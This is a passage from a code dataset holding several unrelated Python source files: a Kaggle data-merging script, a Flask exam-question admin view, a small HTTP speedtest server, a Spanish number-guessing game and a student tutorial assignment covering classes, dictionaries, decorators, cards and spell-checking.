pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\connectx.zip\",sep=\",\")\ndf3=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\contradictory-my-dear-watson.zip\",sep=\",\")\ndf4=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\digit-recognizer.zip\",sep=\",\")\ndf5=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\feedback-prize-2021.zip\",sep=\",\")\ndf6=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\tensorflow-great-barrier-reef.zip\",sep=\",\")\ndf7=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\ubiquant-market-prediction.zip\",sep=\",\")\ndf8=pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\rsna-miccai-brain-tumor-radiogenomic-classification.zip\",sep=\",\")\ndf9=pd.read_excel(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\Sasha_Github.xlsx\")\ndf9.info()\n#tagging\ndf1[\"Score\"]=df1[\"Score\"]*100\ndf1[\"Tags\"]=\"Prediction\"\ndf2[\"Tags\"]=\"Data Science\"\ndf3[\"Tags\"]=\"Data Science\"\ndf4[\"Tags\"]=\"Data Science\"\ndf5[\"Tags\"]=\"Data Science\"\ndf6[\"Tags\"]=\"Tensor Flow\"\ndf7[\"Tags\"]=\"Prediction\"\ndf8[\"Tags\"]=\"Classification\"\n# apply the min-max scaling in Pandas using the .min() and .max() methods\ndf1[\"Score_normalised\"] = (df1[\"Score\"] - df1[\"Score\"].min()) / (df1[\"Score\"].max() - df1[\"Score\"].min())\ndf2[\"Score_normalised\"] = (df2[\"Score\"] - df2[\"Score\"].min()) / (df2[\"Score\"].max() - df2[\"Score\"].min())\ndf3[\"Score_normalised\"] = (df3[\"Score\"] - df3[\"Score\"].min()) / (df3[\"Score\"].max() - df3[\"Score\"].min())\ndf4[\"Score_normalised\"] = (df4[\"Score\"] - df4[\"Score\"].min()) / (df4[\"Score\"].max() - df4[\"Score\"].min())\ndf5[\"Score_normalised\"] = (df5[\"Score\"] - df5[\"Score\"].min()) / (df5[\"Score\"].max() - df5[\"Score\"].min())\ndf6[\"Score_normalised\"] = (df6[\"Score\"] - df6[\"Score\"].min()) / (df6[\"Score\"].max() - df6[\"Score\"].min())\ndf7[\"Score_normalised\"] = (df7[\"Score\"] - df7[\"Score\"].min()) / (df7[\"Score\"].max() - df7[\"Score\"].min())\ndf8[\"Score_normalised\"] = (df8[\"Score\"] - df8[\"Score\"].min()) / (df8[\"Score\"].max() - df8[\"Score\"].min())\n\ndfmain=pd.concat([df1,df2,df3,df4,df5,df6,df7,df8])\nprint(dfmain.info())\ndfmain.columns.value_counts()# 19925\nlen(dfmain.index)\ntotal_rows = dfmain.shape[0]\nprint(\"1\",total_rows)\n\n\n\n\ndfmain = dfmain[(dfmain['Score_normalised'] >= 0) & (dfmain['Score_normalised'] <= 1)]\n\n\n\nq1=np.percentile(dfmain.Score, 25) # Q1\nq2=np.percentile(dfmain.Score, 50) # median\nq3=np.percentile(dfmain.Score, 75) # Q3\nprint(\"first\",q1,q1,q3)\nprint(dfmain.Score.describe())\n\nprint(dfmain.sort_values(\"Score\",ascending=False))\n\n#Data Cleaning\n\ndef outlier_thresholds(dataframe, variable):\n quartile1 = dataframe[variable].quantile(0.01)\n quartile3 = dataframe[variable].quantile(0.90)\n interquantile_range = quartile3 - quartile1\n up_limit = quartile3 + 1.5 * interquantile_range\n low_limit = quartile1 - 1.5 * interquantile_range\n return low_limit, up_limit\n\ndef replace_with_thresholds(dataframe, variable):\n low_limit, up_limit = outlier_thresholds(dataframe, variable)\n dataframe.loc[(dataframe[variable] < low_limit), variable] = low_limit\n dataframe.loc[(dataframe[variable] > up_limit), variable] = up_limit\nreplace_with_thresholds(dfmain,\"Score_normalised\")\n\nprint(dfmain.describe())\nq1_new=np.percentile(dfmain.Score_normalised, 25) # Q1\nq2_new=np.percentile(dfmain.Score_normalised, 50) # median\nq3_new=np.percentile(dfmain.Score_normalised, 75) # Q3\ndfmain[\"Q1\"]=q1_new\ndfmain[\"Q2\"]=q2_new\ndfmain[\"Q3\"]=q3_new\nprint(dfmain)\n\n\n\ndfmain.to_excel('dbslasttoday.xlsx')\n\nprint(dfmain[\"Score_normalised\"].describe())\nprint(dfmain[\"Score_normalised\"]>0)","repo_name":"Rrschch-6/hushHush-Recruiter","sub_path":"Data Source Kaggle/kaggle.py","file_name":"kaggle.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6765224393","text":"from flask import render_template, request, flash, redirect\n\nfrom .forms import QuestionAddForm, QuestionEditForm\nfrom ... import exam_admin_question\nfrom ...models import QuestionModel, CategoryModel\nfrom .... import db\nfrom ....admin.utils import admin_required\n\n\n@exam_admin_question.route('/')\n@exam_admin_question.route('/index')\n@admin_required\ndef index():\n questions = QuestionModel.query.all()\n return render_template('exam/admin/question/index.html', questions=questions)\n\n\n@exam_admin_question.route('/add', methods=['GET', 'POST'])\n@admin_required\ndef add():\n form = QuestionAddForm()\n form.category.choices = [(category.id, category.name) for category in CategoryModel.query.all()]\n\n if request.method == 'POST' and form.validate_on_submit():\n question = QuestionModel(\n type=form.type.data,\n rank=form.rank.data,\n title=form.title.data,\n description=form.description.data,\n data=form.data.data,\n category_id=form.category.data,\n )\n db.session.add(question)\n db.session.commit()\n flash('添加成功!', 'success')\n\n return render_template('exam/admin/question/add.html', form=form)\n\n\n@exam_admin_question.route('/edit/<int:id>', methods=['GET', 'POST'])\n@admin_required\ndef edit(id):\n form = QuestionEditForm()\n form.category.choices = [(category.id, category.name) for category in CategoryModel.query.all()]\n question = QuestionModel.query.get(id) # type: QuestionModel\n\n if request.method == 'POST' and form.validate_on_submit():\n question.type = form.type.data\n question.rank = form.rank.data\n question.title = form.title.data\n question.description = form.description.data\n question.data = form.data.data\n question.category_id = form.category.data\n\n db.session.add(question)\n db.session.commit()\n flash('编辑成功!', 'success')\n else:\n form.type.data = question.type\n form.rank.data = question.rank\n form.title.data = question.title\n form.description.data = question.description\n form.data.data = question.data\n form.category.data = question.category_id\n\n return render_template('exam/admin/question/edit.html', form=form)\n\n\n@exam_admin_question.route('/delete/<int:id>')\n@admin_required\ndef delete(id):\n question = QuestionModel.query.get(id) # type: QuestionModel\n\n db.session.delete(question)\n db.session.commit()\n flash('删除成功!', 'success')\n\n return redirect(request.referrer)\n","repo_name":"HsOjo/ExamSystem","sub_path":"app/exam/admin/question/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20828902157","text":"#!/usr/bin/env python3\n\n# This file is part of Speedtest.\n#\n# Speedtest is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Speedtest is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Speedtest. If not, see <http://www.gnu.org/licenses/>.\n\n\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\nimport sys\nimport random\n\nCHUNK_SIZE = 1024*1024*8\nCHUNK_COUNT = 8\n\nCHUNK = bytes(random.getrandbits(8) for _ in range(CHUNK_SIZE))\n\nclass SpeedTest(SimpleHTTPRequestHandler):\n\tdef __init__(self, *args):\n\t\tSimpleHTTPRequestHandler.__init__(self, *args)\n\n\tdef do_GET(self):\n\t\tif self.path == \"/speedtest\":\n\t\t\tself.speedtest()\n\t\t\treturn\n\t\telif self.path in [\"/\", \"/index.html\"]:\t\t\t\n\t\t\tSimpleHTTPRequestHandler.do_GET(self)\n\t\telse:\t\t\t\n\t\t\tSimpleHTTPRequestHandler.send_error(self, 404, \"Page not found\")\n\n\tdef speedtest(self):\n\t\tself.protocol_version='HTTP/1.1'\n\t\tself.send_response(200, 'OK')\n\t\tself.send_header('Content-type', 'application/octet-stream\t')\n\t\tself.send_header('Content-Length', CHUNK_SIZE*CHUNK_COUNT)\n\t\tself.end_headers()\n\t\t\n\t\tfor i in range(CHUNK_COUNT):\n\t\t\tself.wfile.write(CHUNK)\n\ndef main():\n\tport = 8000 if len(sys.argv) == 1 else int(sys.argv[1]) \n\tprint(\"Serving on {0}\".format(port))\n\tserver = HTTPServer(('', port), SpeedTest)\n\tserver.serve_forever()\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"defufna/speedtest","sub_path":"speedtest.py","file_name":"speedtest.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23507017803","text":"from random import randint #falta de interlineado pa bajo\n\ndef __generar_secreto__(cantidad): #Se genera un numero aleatorio sin repeticion\n secreto = []\n while True:\n d = randint(0, 9)\n if d not in secreto:\n secreto.append(d)\n if len(secreto) == cantidad:\n break\n return secreto\n\ndef __validar_numero__(numero): # Se valida que cada digito del numero sea diferente\n if len(numero) == 1:\n return True\n else:\n if numero[0] in numero[1:]:\n return False\n else: \n return __validar_numero__(numero[1:])\n\ndef __validar_longitud__(numero,longitud): #Se revisa la longitud del numero\n if len(numero) == longitud:\n return __validar_numero__(numero)\n else:\n return False\n\n\ndef __puntaje__(a):\n f = open(\"archivo.txt\",\"r\")\n menor=1000\n puntajes = []\n for i in f:\n i = i.rstrip()\n if not i.startswith(a):\n continue\n score = i.split(\",\")\n puntajes.append(score)\n puntaje = int(score[1])\n if(menor > puntaje):\n menor = puntaje\n for j in puntajes:\n menor=str(menor)\n if (j[1]==menor):\n print (\"El mejor en \",a,\" digitos es:\",j[3],\" con \",j[1],\" intentos\")\n \n \n\n\ndef __comprobar__(\n intentos,numero,\n entrada): #Comienza el juego de picas y fijas\n resultado = \"\"\n for i in range(intentos):\n fijas = 0\n picas = 0\n if intentos == 1:\n resultado = \"perdiste \"\n print(resultado)\n intent = 0\n return [len(numero),intent, resultado]\n else:\n for i in range(len(entrada)):\n if numero[i] == entrada[i]:\n fijas = fijas + 1\n elif numero[i] in entrada:\n picas = picas + 1\n if fijas == len(entrada):\n resultado = \"ganaste\"\n print(resultado)\n intent = 11 - intentos\n return [len(numero),intent, resultado]\n intentos= intentos-1\n print(\"tienes \", fijas, \"fijas y tienes \", picas, \"picas\\n intentos restantes: \"\n ,intentos)\n while True:\n entrada = [int(x) for x in input(\"Ingrese un numero: \")]\n if __validar_longitud__(entrada,len(numero)) == True:\n break \n try:\n e = __validar_longitud__(entrada,len(numero))\n if e == False:\n quit()\n except:\n print(\"Ingrese un numero valido\")\n continue\n \n \ncifras = 0\nintentos = 0\n\nwhile True:\n opcion = input(\"Este es un juego de picas y fijas, con cuantas cifras desea jugar:\\n\" #Menu de opciones\n \"a.3 cifras(10 intentos)\\nb.4 cifras(15 intentos)\\nc.5 cifras(20 intentos)\\nd. ver\" \n \"puntajes\")\n if opcion == \"a\":\n print(\"Opción de 3 cifras\")\n cifras = 3\n intentos = 10\n s = __generar_secreto__(cifras)\n\n elif opcion == \"b\":\n print(\"Opción de 4 cifras\")\n cifras = 4\n intentos = 15\n s = __generar_secreto__(cifras)\n\n elif opcion == \"c\":\n print(\"Opción de 5 cifras\")\n cifras = 5\n intentos = 20\n s = __generar_secreto__(cifras)\n \n elif opcion == \"d\":\n a = input(\"¿Que puntaje quiere ver?\\n3. para tres cifras\\n4. para cuatro cifras\"\n \"\\n5. para cinco cifras\")\n __puntaje__(a)\n break\n else:\n print(\"Fin del juego\")\n break\n\n while True:\n n = [int(x) for x in input(\"Ingrese un numero: \")]\n if __validar_longitud__(n,cifras) == True:\n break \n try:\n e = __validar_longitud__(n,cifras)\n if e == False:\n quit()\n except:\n print(\"Ingrese un numero valido\")\n continue\n\n\n try:\n f = open(\"archivo.txt\", \"r\")\n f.close()\n except:\n f = open(\"archivo.txt\", \"w\")\n f.close()\n \n f = open(\"archivo.txt\", \"a\")\n final = __comprobar__(intentos, s, n)\n nombre = input(\"Ingrese su nombre: \")\n final.append(nombre)\n if (final[2]==\"ganaste\"):\n f.write(str(final[0])+\",\"+str(final[1])+\",\"+str(final[2])+\",\"+str(final[3]+\"\\n\"))\n f.close()\n print(final)\n\n #Revisar archivo para el ganador de cada acategoria\n","repo_name":"Julangar/PicasYFijas","sub_path":"pyf.py","file_name":"pyf.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4593748948","text":"# Tutorial 5: Classes and Algorithms\r\n# Due: Friday, April 9 @ 11:55 PM\r\n# Hosna Hamdieh\r\n# A5: This assignment had 5 questions and in order to run each uncomment the function at the end of each\r\n\r\n############################################# 1: TV Shows #######################\r\ndef TVS():\r\n \"\"\"a) Create a class to represent a TV show that you’d like to recommend to your friends and\r\n family. Your class should implement the following methods:\r\n __init__(self, title, genre, rating, noEpisodes, noSeasons, … etc...) Creates a TV show with\r\n relevant information such as title, genre, number of episodes, your “star rating”, and any other\r\n data you want to include.\r\n __str__(self) Returns a string that names the tv show and the genre, for example: \"Friends,\r\n Comedy\"\r\n b) Test your class by creating a TV show object based on your favourite TV show.\"\"\"\r\n class TV_Shows:\r\n def __init__(self, title, genre, rating, noEpisodes, noSeasons, summary, cast):\r\n self.title = title\r\n self.genre = genre\r\n self.rating = rating\r\n self.noEpisodes = noEpisodes\r\n self.noSeasons = noSeasons\r\n self.summary = summary\r\n self.cast = cast\r\n def __str__(self):\r\n output=f\"\"\"The name of the TV_Show is,{self.title}, and it belongs to {self.genre}'s genre.\r\nIts rating is {self.rating} it has {self.noEpisodes}, in the total of {self.noSeasons} seasons.\"\"\"\r\n print(output)\r\n TVS1 = TV_Shows(\"She-Ra: Princess of Power\",\"Fantasy TV shows\",\"7.8/10 IMDb\",\"54\", \"5\", \"\"\"She-Ra and the Princesses of Power is set on the planet Etheria and follows the stories of Adora and Catra, orphans who were raised to be soldiers in the Horde.\r\nOne day, after getting lost in the woods, Adora finds a magic sword that transforms her into the legendary Princess of Power, She-Ra\"\"\",{\"Adora\":\"Aimee Carrero\",\"Bow\":\"Marcus Scribner\",\"Glimmer\":\"Karen Fukuhara\",\"Catra\":\"AJ Michalka\"})\r\n print(TVS1.genre)\r\n print(\"-----------------------\") # Outcome=> Fantasy TV shows\r\n TVS1.__str__()\r\n print(\"-----------------------\") # Outcome=> The name of the TV_Show is,She-Ra: Princess of Power, and it belongs to Fantasy TV shows's genre. Its rating is 7.8/10 IMDb it has 54, in the total of 5 seasons.\r\n print(TVS1.cast[\"Adora\"])\r\n print(\"-----------------------\") # Outcome=> Aimee Carrero\r\n print(TVS1.summary)\r\n print(\"-----------------------\") # Outcome=> She-Ra and the Princesses of Power is set on the planet Etheria and follows the stories of Adora and Catra, orphans who were raised to be soldiers in the Horde. One day, after getting lost in the woods, Adora finds a magic sword that transforms her into the legendary Princess of Power, She-Ra\r\n TVS2 = TV_Shows(\"Locke & Key\", \"Supernatural horror\",\"7.4/10 IMDb\", \"10\",\"1\",\"\"\"After Rendell Locke is murdered at the hands of former student Sam Lesser, his wife Nina decides to move with her three children, Tyler, Kinsey, and Bode, from Seattle to Matheson, Massachusetts, and take residence in Rendell's family home, Keyhouse. \r\nThe children soon discover a number of mysterious keys throughout the house that can be used to unlock various doors in magical ways. \r\nThey soon become aware, though, of a demonic entity that is also searching for the keys for its own malevolent purposes.\"\"\",{\"Nina Locke\":\"Darby Stanchfield \",\"Tyler Locke\":\"Connor Jessup\",\"Kinsey Locke\":\"Emilia Jones\",\"Bode Locke\":\"Jackson Robert Scott\"})\r\n print(TVS2.genre)\r\n print(\"-----------------------\")\r\n TVS2.__str__()\r\n print(\"-----------------------\")\r\n print(TVS2.cast[\"Tyler Locke\"])\r\n print(\"-----------------------\")\r\n print(TVS2.summary)\r\n print(\"-----------------------\")\r\n################################################## To run uncomment the line below #########################\r\n#TVS()\r\n\"\"\"Test results:\r\nFantasy TV shows\r\n-----------------------\r\nThe name of the TV_Show is,She-Ra: Princess of Power, and it belongs to Fantasy TV shows's genre.\r\nIts rating is 7.8/10 IMDb it has 54, in the total of 5 seasons.\r\n-----------------------\r\nAimee Carrero\r\n-----------------------\r\nShe-Ra and the Princesses of Power is set on the planet Etheria and follows the stories of Adora and Catra, orphans who were raised to be soldiers in the Horde.\r\nOne day, after getting lost in the woods, Adora finds a magic sword that transforms her into the legendary Princess of Power, She-Ra\r\n-----------------------\r\nSupernatural horror\r\n-----------------------\r\nThe name of the TV_Show is,Locke & Key, and it belongs to Supernatural horror's genre.\r\nIts rating is 7.4/10 IMDb it has 10, in the total of 1 seasons.\r\n-----------------------\r\nConnor Jessup\r\n-----------------------\r\nAfter Rendell Locke is murdered at the hands of former student Sam Lesser, his wife Nina decides to move with her three children, Tyler, Kinsey, and Bode, from Seattle to Matheson, Massachusetts, and take residence in Rendell's family home, Keyhouse. \r\nThe children soon discover a number of mysterious keys throughout the house that can be used to unlock various doors in magical ways. \r\nThey soon become aware, though, of a demonic entity that is also searching for the keys for its own malevolent purposes.\r\n-----------------------\"\"\"\r\n############################################# 2: Scrabble 2 #######################\r\ndef Scrabble():\r\n \"\"\"In class we created a program to calculate the value of scrabble letters, however we did not use\r\n the actual scrabble tile values. Update the scrabble program with the correct values for the\r\n letters. Please solve this problem using the Python dictionary data structure.\r\n https://wordfinder.yourdictionary.com/blog/scrabble-letter-values-list/\r\n \"\"\"\r\n scrabbleSum = 0\r\n letter = input(\"Enter a scrabble letter: \").lower()\r\n SLV={\"a\":1,\"b\":3,\"c\":3,\"d\":2,\"e\":1,\"f\":4,\"g\":2,\"h\":4,\"i\":1,\"j\":8,\"k\":5,\"l\":1,\"m\":3,\"n\":1,\"o\":1,\"p\":3,\"q\":10,\"r\":1,\"s\":1,\"t\":1,\"u\":1,\"v\":4,\"w\":4,\"x\":8,\"y\":4,\"z\":10,\"\":0}\r\n i=0\r\n SL={}\r\n while letter != \"\": # while the user doesn't just press the enter key\r\n scrabbleSum += SLV[letter] # math part\r\n i+=1\r\n SL[letter]=SLV[letter]\r\n letter = input(\"Enter a scrabble letter: \").lower()\r\n print(f\"\"\"You have entered {i} letters in total and your score is {scrabbleSum}\r\nLetters played with their values: {SL}\"\"\")\r\n################################################## To run uncomment the line below #########################\r\n#Scrabble()\r\n\"\"\"Test results:\r\nEnter a scrabble letter: a\r\nEnter a scrabble letter: d\r\nEnter a scrabble letter: w\r\nEnter a scrabble letter: x\r\nEnter a scrabble letter: b\r\nEnter a scrabble letter: \r\nYou have entered 5 letters in total and your score is 18\r\nLetters played with their values: {'a': 1, 'd': 2, 'w': 4, 'x': 8, 'b': 3}\"\"\"\r\n############################################# 3: Decorators and Docstrings #######################\r\n\"\"\"Decorators and Docstrings(/10)\r\na) Create a function called hexConvert that converts an integer into its hexadecimal\r\nrepresentation.\r\nExample: hexConvert(15) = “F”\r\nhexConvert(100) = 64\r\nb) Provide a docstring to explain the function.\r\nc) Create a decorator called info that provides information about a function by printing the\r\nfunction’s docstring. Test the function by using it with the hexConvert function from part\r\na).\"\"\"\r\ndef decorator():\r\n import time\r\n def info(func):\r\n def wrapper(*args, **kwargs):\r\n print(\"Info:\")\r\n print(func.__doc__)\r\n value = func(*args, **kwargs)\r\n return value\r\n return wrapper\r\n def timer(func):\r\n def wrapper(*args, **kwargs):\r\n tic = time.perf_counter()\r\n value = func(*args, **kwargs)\r\n toc = time.perf_counter()\r\n elapsed_time = toc - tic\r\n print(f\"Elapsed time: {elapsed_time:0.4f} seconds\")\r\n return value\r\n return wrapper\r\n\r\n @timer\r\n @info\r\n def hexConvert(X):\r\n \"This function will convert an integer into its hexadecimal representation.\"\r\n Y=\"{0:x}\".format(X)\r\n return Y\r\n x=int(input(\"Please type in an integer to convert into hexadecimal: \"))\r\n print(hexConvert(x))\r\n # print(hexConvert(10))\r\n #print(hexConvert.__doc__)\r\n################################################## To run uncomment the line below #########################\r\n#decorator()\r\n\"\"\"Test results:\r\nPlease type in an integer to convert into hexadecimal: 15 \r\nThis function will convert an integer into its hexadecimal representation.\r\nElapsed time: 0.0001 seconds\r\nf \r\n----------------------------------------------------------------------\r\nPlease type in an integer to convert into hexadecimal: 12\r\nInfo:\r\nThis function will convert an integer into its hexadecimal representation.\r\nElapsed time: 0.0001 seconds\r\nc\r\n----------------------------------------------------------------------\r\nPlease type in an integer to convert into hexadecimal: 8695484737979\r\nInfo:\r\nThis function will convert an integer into its hexadecimal representation.\r\nElapsed time: 0.0001 seconds\r\n7e8934769bb\r\n\"\"\"\r\n############################################# 4: Card Player #######################\r\n\"\"\"a) During the lectures we created classes for a PlayingCard and for a Deck. A next step\r\ncould be to create a class to represent a Player in the card game. The Player class\r\nshould have variables for a player name, and a representation of their card hand.\r\nCreate a Player class that includes the following methods:\r\n__init__(self, name): Creates a card game Player with a name, and assigns the player\r\nan empty card hand.\r\ndrawCard(self, deck): Draws a card from the top of a card deck object.\r\nplayCard(self, card): Removes the specified card from the player’s hand.\r\ngetHand(self): Returns the cards in the player’s hand.\r\nsortHand(self): Sorts the player’s hand based on rank and then based on suit.\r\nb) Demonstrate that your code works by creating a Player object and testing each method.\r\n\"\"\"\r\nimport random\r\n\r\nclass PlayingCard:\r\n def __init__(self, rank, suit):\r\n self.rank = rank\r\n self.suit = suit\r\n\r\n def getRank(self):\r\n return self.rank\r\n\r\n def getSuit(self):\r\n return self.suit\r\n\r\n def value(self):\r\n if self.rank > 9:\r\n return 10\r\n else:\r\n return self.rank\r\n\r\n def convertRank(self):\r\n if self.rank < 12:\r\n hexRank = '{0:x}'.format(self.rank)\r\n else:\r\n hexRank = '{0:x}'.format(self.rank + 1)\r\n return hexRank\r\n\r\n def convertSuit(self):\r\n suitDictHex = {\"h\": \"b\", \"d\": \"c\", \"c\": \"d\", \"s\": \"a\"}\r\n return suitDictHex[self.suit]\r\n\r\n def __str__(self):\r\n hexValue = \"1f0\" + self.convertSuit() + self.convertRank()\r\n decValue = int(hexValue, 16)\r\n return chr(decValue)\r\n\r\nclass Deck:\r\n def __init__(self):\r\n # make a list of 52 playing cards\r\n self.cardDeck = []\r\n for r in range(1, 14): # ranks\r\n for s in 'c', 'd', 'h', 's': # suits\r\n self.cardDeck.append(PlayingCard(r, s))\r\n\r\n def shuffle(self):\r\n random.shuffle(self.cardDeck)\r\n\r\n def dealCard(self):\r\n card = self.cardDeck.pop(0)\r\n return card\r\n\r\n def cardsLeft(self):\r\n return len(self.cardDeck)\r\n\r\n def printDeck(self):\r\n # need to print out every card in the list\r\n for card in self.cardDeck:\r\n print(card, end=\" \")\r\n\r\n def sortbySuit(self):\r\n self.cardDeck.sort(key=PlayingCard.getSuit)\r\n\r\n def sortbyRank(self):\r\n self.cardDeck.sort(key=PlayingCard.getRank)\r\n\r\nclass player:\r\n def __init__(self, player_name):\r\n self.player_name = player_name\r\n self.hand = []\r\n def drawCard(self,deck):\r\n card = deck.dealCard()\r\n self.hand.append(card)\r\n return self\r\n def playCard(self, card):\r\n if card in self.hand:\r\n i = self.hand.index(card)\r\n card = self.hand.pop(i)\r\n else:\r\n print(\"You do not have this card in your hand so the first card in your hand will be played\")\r\n card = self.hand.pop(0)\r\n print(\"The played card:\")\r\n print(card)\r\n return card\r\n def getHand(self):\r\n # need to print out every card in the list\r\n for card in self.hand:\r\n print(card, end=\" \")\r\n def sortHand(self):\r\n self.hand.sort(key=PlayingCard.getSuit)\r\n self.hand.sort(key=PlayingCard.getRank)\r\n return self.hand\r\ndef playing_Card():\r\n # Testing the features\r\n deck = Deck()\r\n deck.shuffle()\r\n # deck.sortbyRank()\r\n print(\"The deck: \")\r\n deck.printDeck()\r\n print()\r\n name = input(\"What is your name? \")\r\n player1 = player(name)\r\n print()\r\n print(f\"Welcome '{player1.player_name}' you can start playing\")\r\n noc = int(input(\"How many cards do you need to play? \"))\r\n # # player1.drawCard(deck)\r\n print()\r\n # print(player1.getHand())\r\n for i in range(0,noc):\r\n player1.drawCard(deck)\r\n print(\"This is your hand\")\r\n player1.getHand()\r\n print()\r\n player1.sortHand()\r\n print(\"This is your hand sorted\")\r\n player1.getHand()\r\n print()\r\n print(\"If you want to play a card, type in the rank and the suit of your card\")\r\n r=input(\"rank (1-13): \")\r\n s=input(\"suit (c, d, h, or s): \")\r\n player1.playCard(PlayingCard(r,s))\r\n # print()\r\n print(\"Your hand after playing the card\")\r\n # PlayingCard.__str__(self)\r\n player1.getHand()\r\n print(\"You have tested this function by getting a hand, sorting it, and playing a card\")\r\n################################################## To run uncomment the line below #########################\r\n#playing_Card()\r\n\"\"\"Test result:\r\nThe deck: \r\n🂷 🃍 🂪 🃔 🂣 🃛 🃂 🃖 🃉 🃆 🃃 🃑 🂹 🂨 🂤 🂡 🂮 🃓 🂺 🂽 🃗 🃒 🃝 🃚 🃊 🂵 🂩 🂸 🃎 🂴 🃈 🂦 🂶 🃕 🂾 🂥 🂱 🃙 🃇 🂳 🃋 🃘 🃄 🃞 🂭 🂻 🂫 🃅 🂢 🂧 🂲 🃁 \r\nWhat is your name? Honsa\r\n\r\nWelcome 'Honsa' you can start playing\r\nHow many cards do you need to play? 5\r\n\r\nThis is your hand\r\n🂷 🃍 🂪 🃔 🂣 \r\nThis is your hand sorted\r\n🂣 🃔 🂷 🂪 🃍 \r\nIf you want to play a card, type in the rank and the suit of your card\r\nrank (1-13): 1\r\nsuit (c, d, h, or s): h\r\nYou do not have this card in your hand so the first card in your hand will be played\r\nThe played card:\r\n🂣\r\nYour hand after playing the card\r\n🃔 🂷 🂪 🃍 \r\nYou have tested this function by getting a hand, sorting it, and playing a card\"\"\"\r\n############################################# 5: Spell Checker #######################\r\n\"\"\"Automated spell-checkers are used to analyze documents and locate words that might be\r\nmisspelled. These programs work by comparing each word in the document to a large dictionary\r\n(in the non-Python sense) of words. Any word not found in the dictionary is flagged as\r\npotentially incorrect. Write a program to perform spell-checking on a text file. To do this, you will\r\nneed to get a large file of English words in alphabetical order. Your program should prompt for a\r\nfile to analyze and then try to look up every word in the file using a binary search. If a word is\r\nnot found in the dictionary, print it on the screen as potentially incorrect.\r\nExample dictionary:\r\nhttps://github.com/dwyl/english-words\"\"\"\r\nimport re\r\ndef remove_urls(TEXT):\r\n vTEXT0 = re.sub(r'(https|http)?:\\/\\/(\\w|\\.|\\/|\\?|\\=|\\&|\\%\\@\\#\\;\\!\\$\\,\\:)*\\b', '', TEXT, flags=re.MULTILINE)\r\n vTEXT = re.sub(\"[^a-zA-Z\\s]\", \" \", vTEXT0)\r\n # print(\"Text no urls: \",vTEXT)\r\n return vTEXT\r\n\r\ndef load_words(filename):\r\n file = open(filename,\"r\")\r\n words = ((remove_urls(file.read().lower())).split())\r\n return words\r\ndef selectionSort(l):\r\n for n in range(0, len(l) - 1):\r\n # 1) find index of the smallest element in the list\r\n ind_min = n\r\n for i in range(n + 1, len(l)):\r\n if l[i] < l[ind_min]:\r\n ind_min = i\r\n # 2) swap the smallest element with the first element of the list\r\n l[n], l[ind_min] = l[ind_min], l[n]\r\n return l\r\ndef binarySearch(l,x):\r\n low = 0\r\n high = len(l)-1\r\n while low <= high:\r\n mid = (low+high)//2\r\n item = l[mid]\r\n if item == x:\r\n return mid\r\n elif item > x:\r\n high = mid-1\r\n else:\r\n low = mid+1\r\n return -1\r\n################################################### Solution 1: #############################################\r\ndef misspelling(valid_words):\r\n words = (remove_urls(input(\"Type the text you want to check the spelling for: \")).lower()).split()\r\n misspell = 0\r\n i=0\r\n misspellings = {}\r\n for w in words:\r\n if w not in valid_words:\r\n print(f\"Misspelling: {w}\")\r\n misspell += 1\r\n misspellings[i] = w\r\n i += 1\r\n if misspell == 0:\r\n print(\"No Misspellings\")\r\n else:\r\n print(f\"There were {misspell} misspelled words and are listed along with their position in the text: {misspellings}\")\r\n################################################## To run uncomment the line below #########################\r\n# misspelling(load_words('words.txt'))\r\n\"\"\"Test results:\r\nType the text you want to check the spelling for: I am hapy to be herer\r\nMisspelling: hapy\r\nMisspelling: herer\r\nThere were 2 misspelled words and are listed along with their position in the text: {0: 'hapy', 1: 'herer'}\"\"\"\r\n################################################### Solution 2: #############################################\r\nfrom gingerit.gingerit import GingerIt\r\ndef spellcheck():\r\n text = input(\"Enter text to be corrected: \")\r\n result = GingerIt().parse(text)\r\n corrections = result['corrections']\r\n correctText = result['result']\r\n if text==correctText:\r\n print(\"The text dose not have a misspelling\")\r\n else:\r\n print(\"Correct Text:\", correctText)\r\n print()\r\n print(\"CORRECTIONS\")\r\n n = len((corrections))\r\n print(f\"The text has {n} misspelled words\")\r\n for d in corrections:\r\n print(\"________________\")\r\n print(\"Previous:\", d['text'])\r\n print(\"Correction:\", d['correct'])\r\n print(\"`Definiton`:\", d['definition'])\r\n################################################## To run uncomment the line below #########################\r\nspellcheck()\r\n\"\"\"Test result:\r\nEnter text to be corrected: I am hapy to be here with u since it is my gool\r\nCorrect Text: I am happy to be here with you since it is my goal\r\n\r\nCORRECTIONS\r\n________________\r\nPrevious: gool\r\nCorrection: goal\r\n`Definiton`: the state of affairs that a plan is intended to achieve and that (when achieved) terminates behavior intended to achieve it\r\n________________\r\nPrevious: u\r\nCorrection: you\r\n`Definiton`: 